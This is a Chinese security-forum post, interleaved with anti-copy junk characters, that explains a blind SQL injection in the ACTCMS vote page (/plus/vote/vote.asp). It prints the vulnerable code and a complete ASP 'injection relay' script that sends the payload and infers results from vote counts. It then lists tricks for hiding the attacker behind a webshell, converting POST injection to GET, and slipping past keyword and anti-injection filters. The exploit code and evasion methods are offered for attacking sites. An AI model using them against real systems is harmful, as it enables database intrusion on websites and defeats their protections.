找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2056|回复: 0
打印 上一主题 下一主题

注入中转的高级应用,actcms漏洞以及其他

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-6 21:13:20 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
3 |0 c4 h0 N8 b& N$ K  O' I3 I" @, j1 H
看到ninty大牛的blog的一篇文章. H0 H# t9 w9 }' f3 t
链接标记[url]http://www.forjj.com/?action=show&id=80[/url]7 ~4 s7 U  i9 f) {: U+ y
关于actcms漏洞的利用  by 3x qq:381862589
$ P! g9 o7 V9 W2 t& W" v' |转载请注明以上
# ]- U! Y8 H7 b/ h% O漏洞文件:
% r: w: [6 C" n' P/ t/plus/vote/vote.asp
% g/ S8 |( @# S# \+ Q, |1 n8 C代码: 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then    8 U3 O7 h0 ]# C0 Z, ^
( }( ?' c  B( m. K
2    response.write "<script>alert('请选择投票项目。');window.close()</script>"   ; L6 R' d1 P) s  L

1 @- d0 e) s- U; L) J3    response.end   
4 s9 y3 _$ ?$ b  g: `. o) j8 g5 D
0 q  V; Y% b* R  x' Q! ]' `7 h/ Z2 T4    end if    $ x8 R4 d# A* {

* y& w3 g& d8 }$ _" w5    for i=1 to request("voted").count   
7 x: Y$ y: o( s1 \0 g. g
) [* U7 o% {) q( a3 [6    actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))   
. H8 Z4 E+ p, U  s; ^
" M7 a) S5 ?+ t# J7    next   
" h4 \: @  ?5 S- Y; ?
  U8 m) |7 b. E% ]8....   
6 ?" b8 x; E6 q* b9 i, ~- G9 h0 r9 U2 t
9response.Redirect "index.asp?id="&id&""   
' d/ e8 D- p" B投票结束回跳转回index.asp这个投票结果页面+ D0 e9 H1 \6 f4 m( I& r2 i7 q
如果投票成功票数加19 i1 A* F" v* \' ]' j" e
            失败票数不变
- s1 [& t+ z3 S8 f如图:
; g. Q( V/ g0 s  L' }+ x! K9 qhttp://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)
& w) ^* b" C3 |8 H; c) |4 x( s2 w; Z, F1 k+ j3 M
2009-12-27 13:20
* h4 [$ ?% d* r2 X4 n
' @" y- \, @/ B; I  Q. N% \利用这点来注入,由于ninty大牛学java的,但是java运行环境实在是。。。。不说了
/ I# Z. U' N- T2 l' k7 |  I" F; ^$ X1 @6 Q
本帖隐藏的内容需要回复才可以浏览7 z& Q& B+ s0 T0 N9 t
我们用注入中转来实现这个注入具体代码如下:
/ s* G. h& S( s9 {, R先用寂寞的刺猬大牛的注入中转生成jmget.asp9 }3 k! I7 A8 Y! ^
注入地址:http://localhost/actcms/plus/vote/vote.asp
, U0 y, [' p0 Y$ F* n# k% e) x3 I5 [注入键值:id=1&voted=-1 or 1=                                            '这里这样换的话就有学问了,不用去判断有什么投票选项  q0 e8 s! Q1 K5 P; g* {6 A

; h: X8 h/ ?8 B  i+ ], z然后进行修改变成如下代码: 链接标记预览源代码 链接标记打印链接标记关于01<%
2 w" h( P4 _$ N3 a  e: R
8 P9 ]3 {7 ]  k: o3 ]02JmdcwName=request("jmdcw")
/ q) h2 A; d, F$ u) S+ ?1 g0 U; T! V" J' t* E" u
03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T] ! ]2 L3 }& ~' }: K4 [

3 {; j/ k, b6 W9 r- N04JmStr="id=1&voted=-1 or 1="&JmdcwName 1 \5 Y# K* s+ l4 }% i
; v/ c1 b- K5 o) C' v  g) u
05JmStr=URLEncoding(JmStr) ) q9 ]" W+ t. I
; B; P( d) ]6 d( G7 c
06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"
; ^% m/ p4 A# z# d2 X/ [
6 j/ O; c& _% t8 V0 j+ \$ ?07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"" I8 `) @5 L' l5 ]) \2 i
% b: m7 Y; [! I/ ^- [+ c. Z
08testurl=testurl & "?" & JmStr 6 b1 a! f$ ~; K. K- D4 r

9 `9 h$ h7 J& ]) ^09JMUrl=JMUrl & "?" & JmStr 6 w+ f2 _/ S: W4 ?, O0 ]$ {' G# x

7 v  l4 `5 R% `2 i4 |& @10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp": z  z# f: @: W; B
: {( i5 k; I& F) c2 Y" T+ n  r
11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"
) F, `9 x3 i) Q  Z# V( v$ s) _4 y0 p& p1 o/ w! N" J0 s7 O
12JmCok=replace(JmCok,chr(32),"%20")  
8 O; N5 {- Z5 Y5 l2 A7 B; q( G
. B) y' U; ~$ Y8 G13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数 : t. n+ f! |/ A
+ N% j  @6 d) K( L/ M! r3 l
14  
  x5 ]$ M# d& T! i$ E
9 }  V& ~/ C8 [1 T# t" v: t/ }$ a15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票
- b, {7 p6 C; u! d
( }- F$ {& [  A  d# Q9 u9 r/ W16  * |* ~; B+ G6 a( V

" d8 }+ r0 O1 U: Q( V) T17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录 1 d) g+ N8 `. ]0 a( x. O" U

5 x; J& c# k/ J7 P& f18response.write test1&""&test2&"". g6 x0 ]8 S3 I4 D- \3 \
+ j# U3 `5 R, `; k* q5 t
19  
5 U9 e5 S+ g5 e5 m# |
9 r8 A' x9 I. _5 j20if test1=test2 then '如前后记录相等,表示失败
; z9 J9 G- D: o1 [+ {$ c' V8 K& n- Y8 R' ~! w
21  response.write "failed"
5 F; o% M) d7 c) V) H, `, u$ X3 n) _: P
22else ; q# C: H8 u  r" I+ x

1 a& d/ k  }* Y5 G  b4 u5 z  e: W23  response.write "succeed"
- `( P8 V3 g- `+ L) j
( \* ~3 F9 C5 |24end if    n/ R+ t4 r3 q2 x  Q. H

( J5 n8 f. V  A9 Z8 T8 {9 \25  8 b1 V! }& X- J; k
# y+ C, P) x' ~! Q3 J6 L
26response.write "by 3x"
# |, W  R$ k' a: ?& }8 Y
) e0 V) s' ~; o+ E2 }27  4 W) w/ [1 l- |' x, S  C
' I+ H. f- y/ p; G
28  
5 ]7 a7 b8 i, e( E$ a$ K" @1 {4 Q8 k2 V# J3 g; E2 g
29Function PostData(PostUrl,PostStr,PostCok,PostRef)   
' y2 j( _) `- M0 ~% |
" C( u% O( U" U" _4 q5 k# @: a5 j2 `( o9 g30Dim Http / ~5 m+ H2 P' @3 B8 c4 {0 p

; Y  q+ C# w& o- r31Set Http = Server.CreateObject("msxml2.serverXMLHTTP")
( n' _9 ^( x& q0 V- C( c/ a
- `' P- m& l. o; @32With Http
5 L! a) C) o! \2 j& z
* Y% n+ C& }% B& j# L* ?$ z" C9 B33  ! ~- ?; ]2 L  G: g

( `  T+ @+ L: y* Y34.Open "GET",PostUrl,False/ m1 o! }. a6 }" M
& r7 Y9 w. e- j9 z+ b3 ^( y5 M2 E
35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded". |1 ?! U* I; T! L# S) K0 i* M

# l  J0 o, t8 @5 G36.SetRequestHeader "Referer",PostRef
+ ]7 q, _$ z5 {
2 S, g( e, e9 L. M37.SetRequestHeader "Cookie",PostCok 6 r% [# W) q  E. g) ?
6 R! P4 b$ Y) {+ t# Y# O
38.Send ()
$ d+ v+ ^# i, k( v5 S7 t
& h. u( D& Z; t/ V( `39PostData = .ResponseBody
: c9 F) X% F  W0 w- B$ b+ g' `# Q. l0 c! p- k
40End With
# S7 S3 h& Q) |! G  H! }, Y1 n, E7 b+ f  g+ i1 K& C
41Set Http = Nothing
- p. D" @+ }8 ]% n% n+ u7 f% ^7 @$ q# f) s& O# U4 e
42PostData =bytes2BSTR(PostData)
, X1 X0 W' [2 m7 e7 M! ?
1 `8 {; }. d; d" v, O' _43End Function
' D1 I- C8 o+ S6 V+ t1 v/ I
( \6 B9 }( a  J8 g8 g, s44  ( U" U0 u" B& P5 E: O: n
# m8 P. p, U" g& |+ k- c
45  - \% d% o, g+ c' I3 J, f

3 `4 S6 p9 K$ G- V5 C. t46Function bytes2BSTR(vIn) - n' t9 M2 z& X8 h. \7 H
! X8 l& a; X- {9 L
47Dim strReturn
) ^& w  _6 B& x, x% ]/ h: b/ w6 `
48Dim I, ThisCharCode, NextCharCode
, }# T+ p7 |- R2 r3 q% V3 W4 Z- a8 W, u4 f0 R9 W" X
49strReturn = ""
  l! m. K; n( a' |  e) ^( Q6 u: k  q
5 x7 M7 f& V+ w" V/ Q$ h50For I = 1 To LenB(vIn)
+ D% `$ U, a; u/ C. B. q% @! ?' ~/ _
, B" i( y" u. [2 R. e51ThisCharCode = AscB(MidB(vIn, I, 1)) ; ]# w; H- |5 [
: E3 M/ r" Z2 ~2 E! h' h; C& o9 k
52If ThisCharCode < &H80 Then# O" c; w* Z) b
. y9 J, y4 \; u) n9 m4 R- r
53strReturn = strReturn & Chr(ThisCharCode)
  P; o( @& W' r5 m" C3 |; x( @: [7 g3 Y# ^: X6 c  S* ~; Y5 h' H
54Else
1 r2 v$ G8 y4 T7 \  m8 L0 ^! \  o8 d7 s& m9 y; `9 U
55NextCharCode = AscB(MidB(vIn, I + 1, 1))
" m9 V3 y! F# ]- w% R( h% ?) v) k/ s9 O
56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
3 [5 k7 z- N$ {; i. Y5 b( m
* W  Q! T% ]/ X" x, Z1 c: i57I = I + 1
  H7 `1 a. b* Z; G. B+ P/ q( A- `' l1 [2 q- k5 q( S
58End If! @9 t7 O& i& V1 Q# P3 Q7 @
/ C8 D6 A+ W. T* l0 ?! X
59Next
2 i; ?) _& B* g; J/ m3 `0 Q" K$ S0 b( w" U! I
60bytes2BSTR = strReturn + c3 u. ~' j- e' u
' g  `5 Y. g# j3 }+ y- y
61End Function
2 i! I8 {$ T5 C0 l4 Y( |/ q
4 z7 Q' ?7 e/ o4 G2 ?3 A* z- W8 e62  
& o* E$ J; v( K0 X6 v& m
; @1 X! L- A$ ^' y) o3 A, ?63Function URLEncoding(vstrin)  
. s* L. [9 b( g# G% ]/ U1 i: s6 H% R' ]9 o2 v+ V
64strReturn=""$ k% f) X# j% F& v# H! D* w- c
# M1 s$ I" C2 V% i2 h' |
65Dim i   n7 C' E  ~' k; j
) l' N4 x. _. q2 _7 H
66For i=1 To Len(vstrin) / f# s, n' W8 q! [( h& S1 a! k' b

+ U, R) @5 J5 d# l: i6 \67ThisChr=Mid(vstrin,i,1) ' q# w7 e& t: J% }+ e
) z+ o8 H" O9 P, M( j4 a8 ]; E, {. x
68if Abs(Asc(ThisChr))< &HFF Then
" i- s3 G3 G% n. S( e% c& |
% c# z# Z7 x3 }0 |1 O" m69strReturn=strReturn & ThisChr
2 c# u; g: a- K8 `' p# k/ J* e3 T7 ~1 Z+ O* e
70Else: b# h% L6 M3 ^

& P. }1 p& j% q% T71InnerCode=Asc(ThisChr) - j4 E+ c2 ]/ w! p0 I
  `9 l- w: {. o
72If InnerCode<0 Then) G$ ^8 ?$ \! X# E

3 C0 r. d" f- b4 c5 b" k5 o73InnerCode=InnerCode + &H10000
% w/ ]1 p5 T# }3 ^: k( `/ T* v2 P4 Q/ B$ b/ s8 ]4 q( P
74End If
; N0 @# r3 N2 f
: Z; x7 f& x: G# e! y. z) _" s$ o$ y75Hight1=(InnerCode And &HFF00) \&HFF
/ x5 A: |' I( b% V9 D7 r8 H- o3 h1 U5 G. m. z' _! R0 _3 b: D& T
76Low1=InnerCode And &HFF
8 f0 N! o7 N8 F/ }
* M5 _$ w* X7 e8 O) @77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)
3 `. X: ~6 K$ H
% c5 @6 L9 l- }. D. {) p$ ]0 e78End if 9 B) @2 T; ]( T4 G0 t9 M

  _) I8 Y( `, e79Next
4 E1 G1 p* I! y1 i) ^+ B2 D
( ~# Y2 S+ y+ {2 [, z80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20
# f% v- D( w. ]- Z# q3 U6 A1 D, T8 \( i$ m# ~+ a8 K
81strReturn=Replace(strReturn,chr(43),"%2B")  'JMDCW增加转换+字符
* _8 _3 S- `6 w' r1 f/ e2 T" Z! W$ `0 V1 w9 O
82'strReturn=Replace(strReturn,过滤字符,"转换为字符")  '在此增加要过滤的代码 8 @; j+ P# z% P! b& T
" ~4 i' ]3 G, O
83URLEncoding=strReturn 1 m, W0 r- P" T( I

+ f: n: p: D: W2 i8 z* H% V' H& |9 e: i84End Function; K$ c6 v$ P+ W1 Y0 B- k
. r7 B' v/ r2 t" Z! K
85  1 C: ^5 A9 X6 E$ Q& s5 h# z0 V& Y: m

" ?; B: r3 _3 B86function getSt(body)
1 t. V# M3 J& K3 L4 m2 b
- L: W# r/ U( d& [/ }$ F87  startpot=instr(body,"投票人数:")+len("投票人数:") % R9 e5 S! `# D" b* ]; a! Q

% O5 T& s; @+ K88  endpot=instr(startpot,body," ")
0 N  `: p8 ^# p% S; a6 R- C
* v7 B- S6 G' z. t7 @; W4 A( f" I89  getSt=mid(body,startpot,endpot-startpot)
3 M) I$ L6 H0 Y- ^* D
! ^+ O& v+ P3 X! ~; ~90end function # m( Z7 O3 a) I4 p5 x# B
- A. Z: T% C! [' ?& g+ Z
91%>
* G1 z5 F9 x/ ]2 ?+ _1 e$ |: Q, N/ }注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了- E' p. b' I1 W
测试下效果:, u/ t3 \; _1 X! }% @3 k: ~! K
投票成功:
5 P+ D& S& D* |' Mhttp://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)
/ q6 w: _! Q2 p7 }' C( n
  j9 J$ S/ G5 C6 _, A& V' U2009-12-27 13:29
5 [+ A' J, Z) E0 Y' P. ]- c投票失败
4 U9 P8 ?' p9 z3 K) ?http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)( `3 J3 p9 G" i' k

' \  E2 |, [. X0 B3 z  }, h2009-12-27 13:29. j3 O/ d# D8 o% j& Q6 V
-------------------------------------------------------------------------------7 q9 s# w- [  v6 Y7 ]
再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因,明小子等注入工具是多线程的,而这个投票人数的变量没进行锁的机制。。。所以& I% P! C1 c( E+ p
很抱歉。。。只能用单线程工具去注入。。。。。" {" b9 J  P6 W" H& L+ B6 o0 @
所以失败。。。不好意思。。。
7 U2 O/ N1 ?9 R5 r-------------------------------------------------------------------------------; m) D+ L, x. q$ E# C5 ?% k

7 }. j9 O) |9 R' L3 S5 p注入中转的一些其他应用9 d& l2 ~" b/ x9 r
其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了
8 p1 M+ g3 ^/ g6 Y" K2 g" ?  D8 O) @1.普通的get型的注入点如果中转一下,放到我们的webshell上跑,有效的隐藏我们的id$ w& Z) ?' H4 d! D' A, }
2.post注入转成get型的注入,方便我们使用工具来跑
% O2 P9 M6 l/ m1 w3.在一些cms或者一流拦截系统,过滤了selelct等关键词,这里的过滤指的是replace,我们可以在代码中进行转化,replace(jmstr,"select","sselectelect"),这样我们就可以用工具了,对于一流拦截的突破就replace(jmstr,"%20","%09")
. ?1 `. Q: R3 w# \3 O$ W+ `4.在某些防注入系统中的突破,上次我遇到一个防注入,大家应该也很熟悉,可以通过id--->%69d来绕过,但是如果是post的呢?我把他中转成get型的,但是注入键值我改成%69d=,成功绕过9 [" J# A5 o- r% v% s
% ~2 X1 ~5 f6 A; X
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表